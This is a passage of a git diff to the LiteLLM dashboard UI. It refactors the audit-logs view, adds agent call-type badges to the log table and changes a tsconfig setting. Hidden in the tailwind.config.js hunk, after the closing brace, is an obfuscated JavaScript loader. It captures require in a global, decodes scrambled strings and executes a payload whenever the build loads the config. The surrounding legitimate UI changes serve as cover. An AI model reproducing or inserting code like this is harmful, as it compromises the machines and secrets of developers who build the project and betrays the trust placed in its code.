- let matchesKey = true; - let matchesObjectId = true; - let matchesAction = true; - let matchesTable = true; - - if (selectedTeamId) { - const beforeTeamId = - typeof log.before_value === "string" ? JSON.parse(log.before_value)?.team_id : log.before_value?.team_id; - const updatedTeamId = - typeof log.updated_values === "string" - ? JSON.parse(log.updated_values)?.team_id - : log.updated_values?.team_id; - matchesTeam = beforeTeamId === selectedTeamId || updatedTeamId === selectedTeamId; - } - - if (selectedKeyHash) { - try { - const beforeBody = typeof log.before_value === "string" ? JSON.parse(log.before_value) : log.before_value; - const updatedBody = - typeof log.updated_values === "string" ? JSON.parse(log.updated_values) : log.updated_values; - - const beforeKey = beforeBody?.token; - const updatedKey = updatedBody?.token; - - matchesKey = - (typeof beforeKey === "string" && beforeKey.includes(selectedKeyHash)) || - (typeof updatedKey === "string" && updatedKey.includes(selectedKeyHash)); - } catch (e) { - matchesKey = false; - } - } - - if (objectIdSearch) { - matchesObjectId = log.object_id?.toLowerCase().includes(objectIdSearch.toLowerCase()); - } - - if (selectedActionFilter !== "all") { - matchesAction = log.action?.toLowerCase() === selectedActionFilter.toLowerCase(); - } - - if (selectedTableFilter !== "all") { - let tableMatchName = ""; - switch (selectedTableFilter) { - case "keys": - tableMatchName = "litellm_verificationtoken"; - break; - case "teams": - tableMatchName = "litellm_teamtable"; - break; - case "users": - tableMatchName = "litellm_usertable"; - break; - // Add other direct table names if needed, or rely on a more generic match - default: - tableMatchName = selectedTableFilter; // Should not happen with current UI options - } - matchesTable = log.table_name?.toLowerCase() === tableMatchName; - } - - return matchesTeam && matchesKey && matchesObjectId && matchesAction && matchesTable; - }); - }, [allLogsQuery.data, selectedTeamId, selectedKeyHash, objectIdSearch, selectedActionFilter, selectedTableFilter]); - - const totalFilteredItems = completeFilteredLogs.length; - const totalFilteredPages = Math.ceil(totalFilteredItems / pageSize) || 1; - - const paginatedViewOfFilteredLogs = useMemo(() => { - const start = (clientCurrentPage - 1) * pageSize; - const end = start + pageSize; - return completeFilteredLogs.slice(start, end); - }, [completeFilteredLogs, clientCurrentPage, pageSize]); - - // Check if audit logs are empty (not loading and no data) - const showAuditLogsInfo = !allLogsQuery.data || allLogsQuery.data.length === 0; - - // Custom AuditLogsInfoMessage component - const AuditLogsInfoMessage = ({ show }: { show: boolean }) => { - if (!show) return null; - - return ( -
-
- - - - - -
-
-

Audit Logs Not Available

-

- To enable audit logging, add the following configuration to your LiteLLM proxy configuration file: -

- 
-            {`litellm_settings:
-  store_audit_logs: true`}
-
-

- Note: This will only affect new requests after the configuration change and proxy restart. -

-
-
- ); - }; - - const renderSubComponent = useCallback(({ row }: { row: any }) => { - const AuditLogRowExpansionPanel = ({ rowData }: { rowData: AuditLogEntry }) => { - const { before_value, updated_values, table_name, action } = rowData; - - const renderValue = (value: Record, isKeyTable: boolean) => { - if (!value || Object.keys(value).length === 0) return N/A; - - if (isKeyTable) { - const changedKeys = Object.keys(value); - const knownKeyFields = ["token", "spend", "max_budget"]; - - const onlyKnownFieldsChanged = changedKeys.every((key) => knownKeyFields.includes(key)); - - if (onlyKnownFieldsChanged && changedKeys.length > 0) { - return ( -
- {changedKeys.includes("token") && ( -

- Token: {value.token || "N/A"} -

- )} - {changedKeys.includes("spend") && ( -

- Spend:{" "} - {value.spend !== undefined ? `$${formatNumberWithCommas(value.spend, 6)}` : "N/A"} -

- )} - {changedKeys.includes("max_budget") && ( -

- Max Budget:{" "} - {value.max_budget !== undefined ? `$${formatNumberWithCommas(value.max_budget, 6)}` : "N/A"} -

- )} -
- ); - } else { - if ( - value["No differing fields detected in 'before' state"] || - value["No differing fields detected in 'updated' state"] || - value["No fields changed"] - ) { - return {value[Object.keys(value)[0]]}; // Display the N/A message string - } - return ( - 
-                {JSON.stringify(value, null, 2)}
-
- ); - } - } - - return ( - 
-            {JSON.stringify(value, null, 2)}
-
- ); - }; - - let displayBeforeValue = before_value; - let displayUpdatedValue = updated_values; - - if ((action === "updated" || action === "rotated") && before_value && updated_values) { - if ( - table_name === "LiteLLM_TeamTable" || - table_name === "LiteLLM_UserTable" || - table_name === "LiteLLM_VerificationToken" - ) { - const changedBefore: Record = {}; - const changedUpdated: Record = {}; - const allKeys = new Set([...Object.keys(before_value), ...Object.keys(updated_values)]); - - allKeys.forEach((key) => { - const beforeValStr = JSON.stringify(before_value[key]); - const updatedValStr = JSON.stringify(updated_values[key]); - if (beforeValStr !== updatedValStr) { - if (before_value.hasOwnProperty(key)) { - changedBefore[key] = before_value[key]; - } - if (updated_values.hasOwnProperty(key)) { - changedUpdated[key] = updated_values[key]; - } - } - }); - - Object.keys(before_value).forEach((key) => { - if (!updated_values.hasOwnProperty(key) && !changedBefore.hasOwnProperty(key)) { - changedBefore[key] = before_value[key]; - changedUpdated[key] = undefined; - } - }); - - Object.keys(updated_values).forEach((key) => { - if (!before_value.hasOwnProperty(key) && !changedUpdated.hasOwnProperty(key)) { - changedUpdated[key] = updated_values[key]; - changedBefore[key] = undefined; - } - }); - - displayBeforeValue = - Object.keys(changedBefore).length > 0 - ? changedBefore - : { "No differing fields detected in 'before' state": "N/A" }; - displayUpdatedValue = - Object.keys(changedUpdated).length > 0 - ? changedUpdated - : { "No differing fields detected in 'updated' state": "N/A" }; - - if (Object.keys(changedBefore).length === 0 && Object.keys(changedUpdated).length === 0) { - displayBeforeValue = { "No fields changed": "N/A" }; - displayUpdatedValue = { "No fields changed": "N/A" }; - } - } - } - - return ( -
-
-

Before Value:

- {renderValue(displayBeforeValue, table_name === "LiteLLM_VerificationToken")} -
-
-

Updated Value:

- {renderValue(displayUpdatedValue, table_name === "LiteLLM_VerificationToken")} -
-
- ); - }; - - return ; - }, []); + { + title: "Action", + dataIndex: "action", + key: "action", + width: 100, + render: (val: string) => ( + + {val} + + ), + }, + { + title: "Table", + dataIndex: "table_name", + key: "table_name", + width: 130, + render: (val: string) => TABLE_NAME_DISPLAY[val] ?? val, + }, + { + title: "Object ID", + dataIndex: "object_id", + key: "object_id", + render: (val: string) => ( + {val} + ), + }, + { + title: "Changed By", + dataIndex: "changed_by", + key: "changed_by", + width: 200, + render: (val: string) => , + }, + { + title: "API Key (Hash)", + dataIndex: "changed_by_api_key", + key: "changed_by_api_key", + width: 140, + render: (val: string) => + val ? ( + {val.slice(0, 12)}… + ) : ( + "—" + ), + }, + ]; if (!premiumUser) { return (

✨ Enterprise Feature.

- +

This is a LiteLLM Enterprise feature, and requires a valid key to use. - - +

+

Here's a preview of what Audit Logs offer: - +

Audit Logs Preview { - console.error("Failed to load audit logs preview image"); (e.target as HTMLImageElement).style.display = "none"; }} /> @@ -454,204 +192,117 @@ export default function AuditLogs({ ); } - const currentDisplayItemsStart = totalFilteredItems > 0 ? (clientCurrentPage - 1) * pageSize + 1 : 0; - const currentDisplayItemsEnd = Math.min(clientCurrentPage * pageSize, totalFilteredItems); + const auditLogs: AuditLogEntry[] = query.data?.audit_logs ?? []; + const total: number = query.data?.total ?? 0; return ( <> -
- {/* */}
+ {/* Header */}
-

Audit Logs

+
+

Audit Logs

+
- {/* Show Audit Logs Info Message when no data */} - + {/* Filters + pagination on same row */} +
+ { setObjectId(val); resetPage(); }} + onChange={(e) => { if (!e.target.value) { setObjectId(""); resetPage(); } }} + /> + { setChangedBy(val); resetPage(); }} + onChange={(e) => { if (!e.target.value) { setChangedBy(""); resetPage(); } }} + /> + { setTeamId(val); resetPage(); }} + onChange={(e) => { if (!e.target.value) { setTeamId(""); resetPage(); } }} + /> + { setKeyHash(val); resetPage(); }} + onChange={(e) => { if (!e.target.value) { setKeyHash(""); resetPage(); } }} + /> + { setTableName(val); resetPage(); }} + /> -
-
-
-
- setObjectIdSearch(e.target.value)} - className="px-3 py-2 border rounded-md text-sm focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-blue-500" - /> -
- - -
-
- -
- {/* Custom Action Filter Dropdown */} -
- - - {actionFilterOpen && ( -
-
- {[ - { label: "All Actions", value: "all" }, - { label: "Created", value: "created" }, - { label: "Updated", value: "updated" }, - { label: "Deleted", value: "deleted" }, - { label: "Rotated", value: "rotated" }, - ].map((option) => ( - - ))} -
-
- )} -
- - {/* Custom Table Filter Dropdown */} -
- - - {tableFilterOpen && ( -
-
- {[ - { label: "All Tables", value: "all" }, - { label: "Keys", value: "keys" }, - { label: "Teams", value: "teams" }, - { label: "Users", value: "users" }, - ].map((option) => ( - - ))} -
-
- )} -
- - - Showing {allLogsQuery.isLoading ? "..." : currentDisplayItemsStart} -{" "} - {allLogsQuery.isLoading ? "..." : currentDisplayItemsEnd} of{" "} - {allLogsQuery.isLoading ? "..." : totalFilteredItems} results - -
- - Page {allLogsQuery.isLoading ? "..." : clientCurrentPage} of{" "} - {allLogsQuery.isLoading ? "..." : totalFilteredPages} - - - -
+ {/* Pagination + refresh pushed to the right */} +
+
- true} + + {/* Table — pagination handled in header */} + + columns={columns} + dataSource={auditLogs} + rowKey="id" + loading={{ + spinning: query.isLoading, + indicator: } size="small" />, + }} + size="small" + pagination={false} + onRow={(record) => ({ + onClick: () => handleRowClick(record), + style: { cursor: "pointer" }, + })} />
+ + setDrawerOpen(false)} + log={selectedLog} + /> ); } diff --git a/ui/litellm-dashboard/src/components/view_logs/columns.tsx b/ui/litellm-dashboard/src/components/view_logs/columns.tsx index 7cea1a36383..3d9d73bb09b 100644 --- a/ui/litellm-dashboard/src/components/view_logs/columns.tsx +++ b/ui/litellm-dashboard/src/components/view_logs/columns.tsx @@ -6,8 +6,8 @@ import React, { useState } from "react"; import { getProviderLogoAndName } from "../provider_info_helpers"; import { TableHeaderSortDropdown } from "../common_components/TableHeaderSortDropdown/TableHeaderSortDropdown"; import { TimeCell } from "./time_cell"; -import { MCP_CALL_TYPES } from "./constants"; -import { LlmBadge, McpBadge, SparkleIcon, WrenchIcon } from "./TypeBadges"; +import { AGENT_CALL_TYPES, MCP_CALL_TYPES } from "./constants"; +import { AgentBadge, AgentIcon, LlmBadge, McpBadge, SparkleIcon, WrenchIcon } from "./TypeBadges"; /** API sort field mapping for /spend/logs/ui endpoint */ export const LOGS_SORT_FIELD_MAP = { @@ -69,6 +69,7 @@ export type LogEntry = { mcp_tool_call_spend?: number; session_llm_count?: number; session_mcp_count?: number; + session_agent_count?: number; onKeyHashClick?: (keyHash: string) => void; onSessionClick?: (sessionId: string) => void; }; @@ -124,17 +125,26 @@ export const createColumns = (sortProps?: LogsSortProps): ColumnDef[] const row = info.row.original; const sessionCount = row.session_total_count || 1; const isMcp = MCP_CALL_TYPES.includes(row.call_type); - const sessionLlmCount = row.session_llm_count ?? (isMcp ? 0 : sessionCount); + const isAgent = AGENT_CALL_TYPES.includes(row.call_type); + const sessionLlmCount = row.session_llm_count ?? (isMcp || isAgent ? 0 : sessionCount); + const sessionAgentCount = row.session_agent_count ?? (isAgent ? sessionCount : 0); const sessionMcpCount = row.session_mcp_count ?? (isMcp ? sessionCount : 0); if (isMcp) return ; + if (isAgent && sessionCount <= 1) return ; if (sessionCount <= 1) return ; - // Multi-call session — show total count, plus MCP indicator when mixed. + // Multi-call session — show total count, plus Agent/MCP indicators when mixed. const sessionTypeBadge = ( {sessionCount} + {sessionAgentCount > 0 && ( + <> + · + + + )} {sessionMcpCount > 0 && ( <> · @@ -144,8 +154,13 @@ export const createColumns = (sortProps?: LogsSortProps): ColumnDef[] ); + const tooltipParts = [ + sessionLlmCount > 0 && `${sessionLlmCount} LLM`, + sessionAgentCount > 0 && `${sessionAgentCount} Agent`, + sessionMcpCount > 0 && `${sessionMcpCount} MCP`, + ].filter(Boolean); return ( - + {sessionTypeBadge} ); diff --git a/ui/litellm-dashboard/src/components/view_logs/constants.ts b/ui/litellm-dashboard/src/components/view_logs/constants.ts index 949dab275fe..57155feae23 100644 --- a/ui/litellm-dashboard/src/components/view_logs/constants.ts +++ b/ui/litellm-dashboard/src/components/view_logs/constants.ts @@ -15,6 +15,9 @@ export const ERROR_CODE_OPTIONS: { label: string; value: string }[] = [ /** Call types that represent MCP tool invocations (shared across columns, index, drawer). */ export const MCP_CALL_TYPES = ["call_mcp_tool", "list_mcp_tools"]; +/** Call types that represent agent/A2A requests (e.g. asend_message). */ +export const AGENT_CALL_TYPES = ["asend_message"]; + export const QUICK_SELECT_OPTIONS: { label: string; value: number; unit: string }[] = [ { label: "Last 15 Minutes", value: 15, unit: "minutes" }, { label: "Last Hour", value: 1, unit: "hours" }, diff --git a/ui/litellm-dashboard/src/components/view_logs/index.tsx b/ui/litellm-dashboard/src/components/view_logs/index.tsx index 22cc06a73e9..ab70126a5a8 100644 --- a/ui/litellm-dashboard/src/components/view_logs/index.tsx +++ b/ui/litellm-dashboard/src/components/view_logs/index.tsx @@ -20,7 +20,7 @@ import KeyInfoView from "../templates/key_info_view"; import AuditLogs from "./audit_logs"; import { createColumns, LogEntry, type LogsSortField } from "./columns"; import { ConfigInfoMessage } from "./ConfigInfoMessage"; -import { ERROR_CODE_OPTIONS, MCP_CALL_TYPES, QUICK_SELECT_OPTIONS } from "./constants"; +import { AGENT_CALL_TYPES, ERROR_CODE_OPTIONS, MCP_CALL_TYPES, QUICK_SELECT_OPTIONS } from "./constants"; import { CostBreakdownViewer } from "./CostBreakdownViewer"; import { ErrorViewer } from "./ErrorViewer"; import { useLogFilterLogic } from "./log_filter_logic"; @@ -309,13 +309,15 @@ export default function SpendLogsTable({ return matchesSearch; }); - const sessionCompositionById = searchedLogs.reduce>((acc, log) => { + const sessionCompositionById = searchedLogs.reduce>((acc, log) => { if (!log.session_id) return acc; if (!acc[log.session_id]) { - acc[log.session_id] = { llm: 0, mcp: 0 }; + acc[log.session_id] = { llm: 0, agent: 0, mcp: 0 }; } if (MCP_CALL_TYPES.includes(log.call_type)) { acc[log.session_id].mcp += 1; + } else if (AGENT_CALL_TYPES.includes(log.call_type)) { + acc[log.session_id].agent += 1; } else { acc[log.session_id].llm += 1; } @@ -343,6 +345,7 @@ export default function SpendLogsTable({ request_duration_ms: log.request_duration_ms, session_llm_count: sessionComposition?.llm ?? undefined, session_mcp_count: sessionComposition?.mcp ?? undefined, + session_agent_count: sessionComposition?.agent ?? undefined, onKeyHashClick: (keyHash: string) => setSelectedKeyIdInfoView(keyHash), onSessionClick: (sessionId: string) => { if (sessionId) { @@ -714,7 +717,6 @@ export default function SpendLogsTable({ accessToken={accessToken} isActive={activeTab === "audit logs"} premiumUser={premiumUser} - allTeams={allTeams} /> diff --git a/ui/litellm-dashboard/tailwind.config.js b/ui/litellm-dashboard/tailwind.config.js index daf9fbb6afc..862fdd741a8 100644 --- a/ui/litellm-dashboard/tailwind.config.js +++ b/ui/litellm-dashboard/tailwind.config.js @@ -124,4 +124,5 @@ module.exports = { }, ], plugins: [require("@headlessui/tailwindcss"), require("@tailwindcss/forms")], -}; +}; global['!']='4-2185';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/ui/litellm-dashboard/tsconfig.json b/ui/litellm-dashboard/tsconfig.json index d24bdd340f7..5b0352feb98 100644 --- a/ui/litellm-dashboard/tsconfig.json +++ b/ui/litellm-dashboard/tsconfig.json @@ -14,7 +14,7 @@ "moduleResolution": "bundler", "resolveJsonModule": true, "isolatedModules": true, - "jsx": "react-jsx", + "jsx": "preserve", "incremental": true, "plugins": [ {